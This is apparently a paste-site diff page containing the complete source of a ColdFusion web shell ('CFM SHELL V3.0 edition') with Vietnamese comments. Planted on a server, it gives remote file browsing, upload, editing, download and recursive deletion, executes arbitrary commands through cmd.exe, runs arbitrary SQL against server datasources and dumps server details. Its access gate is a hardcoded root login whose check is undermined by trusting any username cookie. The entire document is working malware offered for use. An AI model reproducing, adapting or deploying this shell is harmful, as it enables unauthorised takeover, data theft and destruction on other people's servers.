View difference between Paste ID: WsQNKgzT and 0jHuhGxw
SHOW: | | - or go back to the newest paste.
1
<html>
2
<style type="text/css">
3
body{background-color:#444;color:#e1e1e1;}
4
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
5
table.info{ color:#fff;background-color:#222; }
6
span,h1,a{ color: #df5 !important; }
7
span{ font-weight: bolder; }
8
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
9
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
10
a{text-decoration: none;}
11
a:hover{ text-decoration:underline; }
12
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
13
.bigarea{ width:100%;height:300px; }
14
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
15
form{ margin:0px; }
16
.toolsInp{ width: 300px }
17
.main th{text-align:left;background-color:#5e5e5e;}
18
.main tr:hover{background-color:#5e5e5e}
19
.l1{background-color:#444}
20
.l2{background-color:#333}
21
pre{font-family:Courier,Monospace;}
22
</style>
23
<head>
24
<TITLE>CFM SHELL V3.0 edition</TITLE>
25
<meta http-equiv="Content-Type" content="text/html">
26
</head>
27
<body>
28
<center>
29
  Cfm Shell v3.0 edition
30
</center>
31
<hr>
32
<script langauge="JavaScript" type="text/javascript">
33
function doMenu(item)
34
{
35
	obj=document.getElementById(item);
36
	col=document.getElementById("x" + item);
37
	if (obj.style.display=="none")
38
	{
39
		obj.style.display="block"; col.innerHTML="[-]";
40
	}
41
	else
42
	{
43
		obj.style.display="none"; col.innerHTML="[+]";
44
	}
45
}
46
</script>
47
<!--- Login --->
48
49
<cfif IsDefined("logout")>
50
	<cfset structclear(cookie)>
51
	<cflocation url="?" addtoken="No">
52
</cfif>
53
<cfif IsDefined("cookie.username")>
54
<!--- Main --->
55
<center>Username:<font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
56
<center><b><a href="?logout">Logout</a></b></center>
57
<hr>
58
<cfoutput>
59
<cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
60
<cfif Right(dir, 1) neq "\" >
61
	<cfset dir = "#dir#\">
62
</cfif>
63
<!--- Ham get Datasource Infor 
64
<cfscript>
65
factory = CreateObject("java", "coldfusion.server.ServiceFactory");
66
DataSoureceInfo = factory.DataSourceService.getDatasources();
67
</cfscript> --->
68
69
<!--- Ham doc tep --->
70
<cffunction name="ReadFile" access="remote" output="true" returntype="any">  
71
	<cfargument name="fileread" type="string" required="true"/>  
72
		<cffile action="read" file="#arguments.fileread#" variable="line">
73
		<cfoutput>#line#</cfoutput>
74
</cffunction>
75
<!--- ham xoa thu muc --->
76
<cffunction name="dirDelete" access="public" output="false" returntype="any">
77
<cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
78
<cfdirectory action="list" name="delfile" directory="#arguments.dir#">
79
<cfif delfile.RecordCount EQ 0>
80
<cfif directoryExists(arguments.dir)>
81
<cfdirectory action="delete" directory="#arguments.dir#">
82
</cfif>
83
<cfelse>
84
<cfloop query="delfile">
85
<cfif type EQ "file">
86
<cffile action="delete" file="#arguments.dir#\#name#">
87
<cfelse>
88
<cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
89
</cfif>
90
</cfloop>
91
<cfif directoryExists(arguments.dir)>
92
<cfdirectory action="delete" directory="#arguments.dir#">
93
</cfif>
94
</cfif>
95
</cffunction>
96
<!--- ham doi ten thu muc --->
97
<cffunction name="renameDirectory" access="remote" output="false" returntype="void">  
98
	<cfargument name="oldDir" type="string" required="true"/>  
99
	<cfargument name="newDir" type="string" required="true"/>  
100
	<cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>  
101
</cffunction>
102
</cfoutput>
103
<!--- bat dau nhan lenh --->
104
<cfif isDefined("action")>
105
	<cfif action is "goto">
106
		<cfoutput>
107
		<cfif isDefined("scr")>
108
			<cfset dir = #scr#>
109
			<cfif Right(dir, 1) neq "\" >
110
				<cfset dir = "#dir#\">
111
			</cfif>
112
		</cfif>
113
		</cfoutput>
114
	<cfelseif action is "edit">
115
	<cfoutput>
116
	<cfif isDefined("scr")>
117
		<cfif FileExists("#scr#")>
118
			<cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
119
			<title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
120
			<script language="JavaScript" type="text/javascript">
121
				function sTrim(sVariable)
122
				{
123
					return sVariable.replace(/^\s+|\s+$/g,"");
124
				}
125
				function validateFields(form)
126
				{
127
					return true;
128
				}
129
			</script>
130
			<cffile action="read" file="#scr#" variable="thisFile">
131
                        <h1>Edit file:</h1>
132
                        <div class=content>	
133
          		<form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
134
				<input type="hidden" name="fileName" value="#file_name#" />
135
				<input type="hidden" name="action_type" value="edit" />
136
					<tr>
137
						<td style="font-weight:bold;" nowrap="nowrap">
138
							File path: 
139
						</td>
140
						<td>
141
							#scr#
142
						</td>
143
					</tr>
144
					<tr>
145
						<td>
146
						<cfset thisFile=#Replace(#thisFile#,'<','<','ALL')#>
147
						<cfset thisFile=#Replace(#thisFile#,'>','>','ALL')#>
148
							<textarea class="bigarea" name="fileContent">#thisFile#</textarea>
149
						</td>
150
					</tr>
151
					<tr>
152
						<td>
153
							<input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
154
						</td>
155
					</tr>
156
			</form></div>
157
		<cfelse>
158
			<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
159
		</cfif>
160
		<a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
161
	<cfelse>
162
		<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
163
	</cfif>
164
	</cfoutput>
165
	<cfelseif action is "cut">
166
		<cfoutput>
167
		<cfif isDefined("scr")>
168
			<cfset cutdir = #scr#>
169
			<cfif FileExists("#scr#")>
170
				<cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
171
				<cfloop condition = "Right(cutdir, 1) neq '\'">
172
					<cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
173
				</cfloop>
174
				<cfform name="articles" ENCTYPE="multipart/form-data">
175
					B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
176
				</cfform>
177
				<cfif isDefined("thumucsechuyen")>
178
					<cffile action="move" source="#scr#" destination="#thumucsechuyen#">
179
					<cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
180
				</cfif>
181
			<cfelse>
182
				<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
183
			</cfif>
184
			<a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
185
		<cfelse>
186
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
187
		</cfif>
188
		</cfoutput>
189
	<cfelseif action is "copy">
190
		<cfoutput>
191
		<cfif isDefined("scr")>
192
			<cfset copydir = #scr#>
193
			<cfif FileExists("#scr#")>
194
				<cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
195
				<cfloop condition = "Right(copydir, 1) neq '\'">
196
					<cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
197
				</cfloop>
198
				<cfform name="articles" ENCTYPE="multipart/form-data">
199
					B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
200
				</cfform>
201
				<cfif isDefined("thumucsechuyen")>
202
					<cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
203
					<cflocation url="?action=goto&scr=#copydir#" addtoken="No">
204
				</cfif>
205
			<cfelse>
206
				<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
207
			</cfif>
208
			<a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
209
		<cfelse>
210
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
211
		</cfif>
212
		</cfoutput>
213
	<cfelseif action is "rename">
214
		<cfoutput>
215
		<cfif isDefined("scr")>
216
			<cfset renamedir = #scr#>
217
			<cfif FileExists("#scr#")>
218
				<cfloop condition = "Right(renamedir, 1) neq '\'">
219
					<cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
220
				</cfloop>
221
				<cfform name="articles" ENCTYPE="multipart/form-data">
222
					Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
223
				</cfform>
224
				<cfif isDefined("namechange")>
225
					<cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
226
					<cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
227
				</cfif>
228
			<cfelse>
229
				<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
230
			</cfif>
231
			<a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
232
		<cfelse>
233
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
234
		</cfif>
235
		</cfoutput>
236
	<cfelseif action is "renamed">
237
		<cfoutput>
238
		<cfif isDefined("scr")>
239
			<cfset renamedir = #scr#>
240
			<cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
241
			<cfif DirectoryExists("#scr#")>
242
				<cfloop condition = "Right(renamedir, 1) neq '\'">
243
					<cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
244
				</cfloop>
245
				<cfform name="articles" ENCTYPE="multipart/form-data">
246
					Rename #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Rename" />
247
				</cfform>
248
				<cfif isDefined("namechange")>
249
					#renameDirectory('#scr#','#renamedir##namechange#')#
250
					<cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
251
				</cfif>
252
			<cfelse>
253
				<p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
254
			</cfif>
255
			<a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
256
		<cfelse>
257
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- ..</u></a>
258
		</cfif>
259
		</cfoutput>
260
	<cfelseif action is "down">
261
		<cfoutput>
262
		<cfif isDefined("scr")>
263
			<cfset downdir = #scr#>
264
			<cfif FileExists("#scr#")>
265
				<cfloop condition = "Right(downdir, 1) neq '\'">
266
					<cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
267
				</cfloop>
268
				<cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#"> 
269
				<cfcontent file="#scr#" type="application/octet-stream">
270
			<cfelse>
271
				<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
272
			</cfif>
273
			<a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
274
		<cfelse>
275
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
276
		</cfif>
277
		</cfoutput>
278
	<cfelseif action is "del">
279
		<cfoutput>
280
		<cfif isDefined("scr")>
281
			<cfset deletedir = #scr#>
282
			<cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
283
			<cfif FileExists("#scr#")>
284
				<cfloop condition = "Right(deletedir, 1) neq '\'">
285
					<cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
286
				</cfloop>
287
				<cffile action="delete" file="#scr#">
288
				<cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
289
			<cfelse>
290
				<p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
291
			</cfif>
292
			<a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
293
		<cfelse>
294
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
295
		</cfif>
296
		</cfoutput>
297
	<cfelseif action is "deld">
298
		<cfoutput>
299
		<cfif isDefined("scr")>
300
			<cfset deletedir = #scr#>
301
			<cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
302
			<cfif DirectoryExists("#scr#")>
303
				<cfloop condition = "Right(deletedir, 1) neq '\'">
304
					<cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
305
				</cfloop>
306
				<cfset dirDelete('#scr#')>
307
				<cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
308
			<cfelse>
309
				<p>DeleteDir</p>
310
			</cfif>
311
			<a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
312
		<cfelse>
313
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- DeleteDir</u></a>
314
		</cfif>
315
		</cfoutput>
316
	<cfelseif action is "new">
317
		<!---
318
		<cfoutput>
319
		<cfif isDefined("scr")>
320
			<cfif FileExists("#scr#")>
321
				<p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
322
			<cfelse>
323
				<cfform name="articles" ENCTYPE="multipart/form-data">
324
					B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
325
				</cfform>
326
				<cfif isDefined("namecreate")>
327
					<cffile action = "write" file = "#scr##namecreate#" output = "">
328
					<cflocation url="?action=goto&scr=#scr#" addtoken="No">
329
				</cfif>
330
			</cfif>
331
			<a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
332
		<cfelse>
333
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
334
		</cfif>
335
		</cfoutput>
336
		--->
337
		<cfoutput>
338
		<cfif isDefined("scr")>
339
			<cfdirectory action="list" directory="#scr#" name="fileList">
340
			<script language="JavaScript" type="text/javascript">
341
				var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
342
				function sTrim(sVariable) 
343
				{
344
					return sVariable.replace(/^\s+|\s+$/g,"");
345
				}
346
				function validateFields(form)
347
				{
348
					var fileCount = 0;
349
					var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
350
					if (sTrim(form.fileName.value) == "")
351
					{
352
						alert('Can nhap ten tep');
353
						form.fileName.focus();
354
						return false;
355
					}
356
					if (form.fileName.value.search(re) < 0)
357
					{
358
						alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
359
						form.fileName.focus();
360
						form.fileName.select();
361
						return false;
362
					}
363
					for (var i=0; i<fileArray.length; i++) 
364
					{
365
						if (sTrim(form.fileName.value) == fileArray[i])
366
						{
367
							fileCount++;
368
						} 
369
					}
370
					if (fileCount > 0)
371
					{
372
						alert('Ten nay da ton tai, vui long chon tep khac');
373
						form.fileName.focus();
374
						form.fileName.select();
375
						return false;
376
					}
377
					return true;
378
				}
379
			</script>
380
			<form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
381
				<input type="hidden" name="action_type" value="add" />
382
				<table border="0" style="width:400px;">
383
					<tr>
384
						<td style="font-weight:bold;" nowrap="nowrap">
385
							File name:  
386
						</td>
387
						<td>
388
							<input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
389
						</td>
390
					</tr>
391
					<tr>
392
						<td style="font-weight:bold;" nowrap="nowrap">
393
							File content:  
394
						</td>
395
						<td colspan="2">
396
							<textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
397
						</td>
398
					</tr>
399
					<tr>
400
						<td colspan="2" style="text-align:right;">
401
							<input type="submit" value="Save" style="font-family:verdana; font-size:11px;" />
402
						</td>
403
					</tr>
404
				</table>
405
			</form>
406
			<a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
407
		<cfelse>
408
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
409
		</cfif>
410
		</cfoutput>
411
	<cfelseif action is "newd">
412
		<cfoutput>
413
		<cfif isDefined("scr")>
414
			<cfform name="articles" ENCTYPE="multipart/form-data">
415
				New dir: <cfinput type="text" name="namecreate" size="25" value="#GetDirectoryFromPath(scr)#"> <input type="submit" value="Create new dir" />
416
			</cfform>
417
			<cfif isDefined("namecreate")>
418
				<cfdirectory directory= "#scr##namecreate#" action="create">
419
				<cflocation url="?action=goto&scr=#scr#" addtoken="No">
420
			</cfif>
421
			<a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
422
		<cfelse>
423
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
424
		</cfif>
425
		</cfoutput>
426
	<cfelseif action is "upload">
427
		<cfoutput>
428
		<cfif isDefined("scr")>
429
			<cfform enctype="multipart/form-data" method="post">
430
				Upload file to path:  <font color="red">#scr#</font><br>
431
				Choose file: <input type="file" size="80" name="fileup" /> <input type="submit" value="Upload" /><br/>
432
			</cfform>
433
			<cfif isDefined("fileup")>
434
				<cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
435
				<cflocation url="?action=goto&scr=#scr#" addtoken="No">
436
			</cfif>
437
			<a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
438
		<cfelse>
439
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
440
		</cfif>
441
		</cfoutput>
442
	<cfelseif action is "cmd">
443
		<cfoutput>
444
		<cfif not isDefined("patch")>
445
			<cfif FileExists("#GetDirectoryFromPath(GetTemplatePath())#cdm.exe")>
446
				<cfset patch = "#GetDirectoryFromPath(GetTemplatePath())#cmd.exe">
447
				<cfset out = "#GetDirectoryFromPath(GetTemplatePath())#out.txt">
448
			<cfelseif FileExists("C:\windows\system32\cmd.exe")>
449
				<cfset patch = "C:\windows\system32\cmd.exe">
450
				<cfset out = "C:\windows\system32\out.txt">
451
			<cfelseif FileExists("C:\winnp\system32\cmd.exe")>
452
				<cfset patch = "C:\winnp\system32\cmd.exe">
453
				<cfset out = "C:\winnp\system32\out.txt">
454
			<cfelse>
455
				<p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
456
				<p>Khai b&##225;o bi&##7871;n patch l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p cmd.exe</p>
457
				<p>Khai b&##225;o bi&##7871;n out l&##224; &##273;&##432;&##7901;ng d&##7851;n tr&##7921;c ti&##7871;p t&##7899;i t&##7879;p d&##7919; li&##7879;u</p>
458
				<cfset sai = 1>
459
			</cfif>
460
		<cfelseif FileExists("#patch#")>
461
			<cfset out = "#GetDirectoryFromPath(patch)#out.txt">
462
		<cfelse>
463
			<p>Kh&##244;ng t&##236;m th&##7845;y t&##7879;p cmd.exe</p>
464
		</cfif>
465
		<cfif not isDefined("sai")>
466
			<cfform name="articles" ENCTYPE="multipart/form-data">
467
				Enter command: <cfinput type="text" name="command" size="25" value=""> <input type="submit" value="Run" />
468
			</cfform>
469
			<cfif isDefined("command")>
470
				<p>Results:</p>
471
				<cfexecute name="#patch#" arguments="/C #command# > #out#" timeout="60"></cfexecute>
472
				#ReadFile('#out#')#
473
				#out#
474
				<cfif FileExists("#out#")>
475
					<cffile action="delete" file="#out#">
476
				</cfif>
477
			</cfif>
478
		</cfif>
479
		<br>
480
		<a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
481
		</cfoutput>
482
	<cfelseif action is "datainfo">
483
		<cfoutput>
484
		<cfdump var="#DataSoureceInfo#">
485
		<a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
486
		</cfoutput>
487
	<cfelseif action is "save">
488
		<cfoutput>
489
		<cfif isDefined("form.fileName")>
490
			<title>&##272;&##227; l&##432;u t&##7879;p</title>
491
			<cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
492
			&##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
493
			<a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
494
		<cfelse>
495
			<a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
496
		</cfif>
497
		</cfoutput>
498
	<cfelseif action is "sql">
499
				<cfoutput>
500
		<cfform name="articles1" ENCTYPE="multipart/form-data">
501
			DataBase Name:
502
			<cfif isDefined("database")>
503
				<cfinput type="text" name="database" size="25" value="#database#"><br>
504
			<cfelseif IsDefined("DS")>
505
				<cfinput type="text" name="database" size="25" value="#DS#"><br>
506
			<cfelse>
507
				<cfinput type="text" name="database" size="25" value=""><br>
508
			</cfif>
509
			SQL query: <cfinput type="text" query="SQL" name="query" size="130" value=""><br>
510
			<input type="submit" value="Th&##7921;c hi&##7879;n" />
511
		</cfform>
512
		</cfoutput>
513
		<cfif isDefined("database") and isDefined("query")>
514
			<cfquery name="SQL" DataSource="#database#">
515
				#preserveSingleQuotes(query)#
516
			</cfquery>
517
			<br>
518
			<table width="90%" border="1" align="center">
519
				<tr><td align="center">M?u h?i: <font color="red"><cfoutput>#query#</cfoutput></font></td></tr>
520
				<tr><td align="center">K?t qu? tr? v?:</td></tr>
521
				<tr><td><cfdump var="#SQL#" format="text" label="Ket qua"></td></tr>
522
			</table>
523
			<br>
524
		</cfif>
525
		<cfoutput>
526
		<a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Back</u></a>
527
		</cfoutput>
528
	</cfif>
529
<cfelse>
530
	<cfset action = "goto">
531
</cfif>
532
<cfif action is "goto" or action is "del" or action is "deld">
533
<cfoutput>
534
	<center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Server info:</center>
535
	<div id="thongtin">
536
	<!--- Lay thong tin ip --->
537
		<cfif #cgi.http_x_forwarded_for# eq "">
538
			<cfset clientip="#cgi.remote_addr#">
539
		<cfelse>
540
			<cfset clientip="#cgi.http_x_forwarded_for#">
541
		</cfif>
542
	<!--- In thong tin server --->
543
		<span>Server IP:</span> #CGI.HTTP_HOST#:#CGI.SERVER_PORT#</span> - <span>Client IP:</span> #clientip#<br>
544
		<span>Gateway Interface:</span> #CGI.GATEWAY_INTERFACE# - <span>Server Name:</span> #CGI.SERVER_NAME#:#CGI.SERVER_PORT#<br>
545
		<span>Server Protocol:</span> #CGI.SERVER_PROTOCOL# - <span>Server Software:</span> #CGI.SERVER_SOFTWARE#<br>
546
		<span>Appserver:</span> #server.coldfusion.appserver# - <span>Expiration:</span> #DateFormat(server.coldfusion.expiration, "d/m/yy")# #TimeFormat(server.coldfusion.expiration, "HH:mm:ss")#<br>
547
			<span>Product Name:</span> #server.coldfusion.productname# - <span>Product Level:</span> #server.coldfusion.productlevel# - <span>Product Version:</span> #server.coldfusion.productversion#<br>
548
			<span>Server OS Arch:</span> #server.os.arch# - <span>Server OS Name:</span> #server.os.name# - <span>Server OS Version:</span> #server.os.version#<br>
549
	</div>
550
<hr>
551
	<!--- Thu tao Object 
552
		<cftry>
553
			<cfobject type="com" class="scripting.filesystemobject" name="fso" action="connect">  
554
			<cfcatch type="any">  
555
				<cfobject type="com" class="scripting.filesystemobject" name="fso" action="create">  
556
			</cfcatch>  
557
		</cftry>
558
    --->		
559
	
560
<hr>
561
<center><a href="javascript:doMenu('congcu');" id=xcongcu>[-]</a>Main:</center>
562
<div id="congcu">
563
	Path: #dir#<br>
564
	Operations: <a href="?action=new&scr=#dir#">NewFile</a> - <a href="?action=newd&scr=#dir#">NewDir</a> - <a href="?action=upload&scr=#dir#" title="T&##7843;i l&##234;n m&##7897;t t&##7879;p t&##7915; m&##225;y t&##237;nh c&##7911;a b&##7841;n">Upload file</a> - <a href="?" title="Tr&##7903; v&##7873; th&##432; m&##7909;c ch&##7913;a Shell">---</a><br>
565
	Actions: <a href="?action=cmd" title="Th&##7921;c thi l&##7879;nh Command Dos">CMD</a> - <a href="?action=sql&scr=#dir#" title="Th&##7921;c thi l&##7879;nh SQL query">SQL</a> - <a href="?action=datainfo" title="Th&##244;ng tin C&##417; S&##7903; D&##7919; Li&##7879;u">Datainfo CSDL</a>
566
</div>
567
<hr>
568
<h1>File manager:</h1>
569
<div id="thumuc">
570
</cfoutput>
571
<cfdirectory directory="#dir#" name="myDirectory" sort="type ASC" >
572
<div class=content>
573
<table width=100% class=main cellspacing=0 cellpadding=1><tr><th width='13px'><input type=checkbox class=chkbx name=ch11'></th><th>Name</th><th>Size</th><th>Modify</th><th>Chmod</th><th>Mode</th><th>Actions</th></tr>
574
		<cfoutput>
575
		<cfif len(dir) gt 3>
576
			<tr>
577
				<cfset updir = #dir#>
578
				<cfset updir = #RemoveChars(updir, len(updir), 1)#>
579
				<cfloop condition = "Right(updir, 1) neq '\'">
580
					<cfset updir = #RemoveChars(updir, len(updir), 1)#>
581
				</cfloop>
582
				<th class=chkbx><input type=checkbox width='13px' class=chkbx></th><td width="20%"><strong><a href="?action=goto&scr=#updir#">..</a></strong></td>
583
			</tr>
584
		</cfif>
585
		</cfoutput>
586
                <cfset x=1>
587
		<cfoutput query="myDirectory">
588
                     <cfif x EQ 2> 
589
 			<tr class=l2><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
590
                    </cfif>
591
                   <cfif x EQ 1>   
592
 			<tr class=l1><th class=chkbx width='13px'><input type=checkbox class=chkbx></th>
593
                    </cfif>
594
                   <cfif x EQ 1>   
595
                        <cfset x=2>
596
                   <cfelse>
597
                        <cfset x=1>
598
                   </cfif>
599
				<td>
600
					<cfif #Type# is "Dir">
601
						<a href="?action=goto&scr=#dir##Name#\"><b>[#Name#]</b></a>
602
					<cfelse>
603
                                                <a href="?action=edit&scr=#dir##Name#\">#Name#</a>
604
					</cfif>
605
				</td>
606
				<td>
607
					<cfif #type# is "Dir">
608
						<Dir>
609
					<cfelseif #Size# LT 1024>
610
							#Size# B
611
					<cfelseif #Size# LT 1024*1024>
612
							#round(Size/1024)# KB
613
					<cfelseif #Size# LT 1024*1024*1024>
614
							#round(Size/1024/1024)# MB
615
					<cfelseif #Size# LT 1024*1024*1024*1024>
616
							#round(Size/1024/1024/1024)# GB
617
					<cfelseif #Size# LT 1024*1024*1024*1024*1024>
618
							#round(Size/1024/1024/1024/1024)# TB
619
					</cfif>
620
				</td>
621
				<td>
622
					#DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")#
623
				</td>
624
				<td>#Attributes#</td>
625
				<td>#Mode#</td>
626
				<td>
627
					<cfif #Type# is "File">
628
						<a href="?action=edit&scr=#dir##Name#">Edit</a>|<a href="?action=cut&scr=#dir##Name#">Cut</a>|<a href="?action=copy&scr=#dir##Name#">Copy</a>|<a href="?action=rename&scr=#dir##Name#">Rename</a>|<a href="?action=down&scr=#dir##Name#">Download</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Delete #Name# ?')">Delete</a>
629
					<cfelse>
630
						<a href="?action=cutd&scr=#dir##Name#\">Cutdir</a>|<a href="?action=copyd&scr=#dir##Name#\">Copy</a>|<a href="?action=renamed&scr=#dir##Name#\">Rename</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Delete #Name# ?')">DeleteDir</a>
631
					</cfif>
632
				</td>
633
			</tr>
634
		</cfoutput>
635
	</table></div>
636
</div>
637
</cfif>
638
<!--- End Main --->
639
<cfelseif Not IsDefined("cookie.username")>
640
	<cfform name="articles" ENCTYPE="multipart/form-data">
641
		<center><table width="300" border="0">
642
			<tr>
643
				<td width="50">Username:</td>
644
				<td width="50"><input type="text" name="username"></td>
645
			</tr>
646
			<tr>
647
				<td width="50">Password:</td>
648
				<td width="50"><input type="password" name="password"></td>
649
			</tr>
650
			<tr>
651
				<td width="50">Remember you?:</td>
652
				<td width="50">
653
					<input type="checkbox" name="RememberMe" value="Yes" checked>
654
					<input type="submit" name="Process" value="Login">
655
				</td>
656
			</tr>
657
		</table></center>
658
	</cfform>
659
	<cfif IsDefined("username")>
660
	<cfset member_username = "root">
661
	<cfset member_password = "75d06b0f0b434726ec9754fe5d31c8a3">
662
	<cfif #username# neq #member_username#>
663
		<center>Wrong username!</center>
664
		<cfset structclear(cookie)>
665
        <cfelseif hash(form.password, "MD5") neq #member_password#>
666
		<center>Wrong password!</center>
667
		<cfset structclear(cookie)>
668
	<cfelse>
669
    <cfif IsDefined("RememberMe")>
670
	<cfset member_password1 = hash(form.password, "MD5")>           
671
          <cfcookie name="username" value="#form.username#" expires="NEVER">
672
          <cfcookie name="password" value="#member_password1#" expires="NEVER">
673
    <cfelse>
674
  	  <cfset member_password1 = hash(form.password, "MD5")>           
675
          <cfcookie name="username" value="#form.username#">
676
          <cfcookie name="password" value="#member_password1#">
677
    </cfif>
678
		<cflocation url="?" addtoken="No">
679
	</cfif>
680
	</cfif>
681
</cfif>
682
<!--- End Login --->
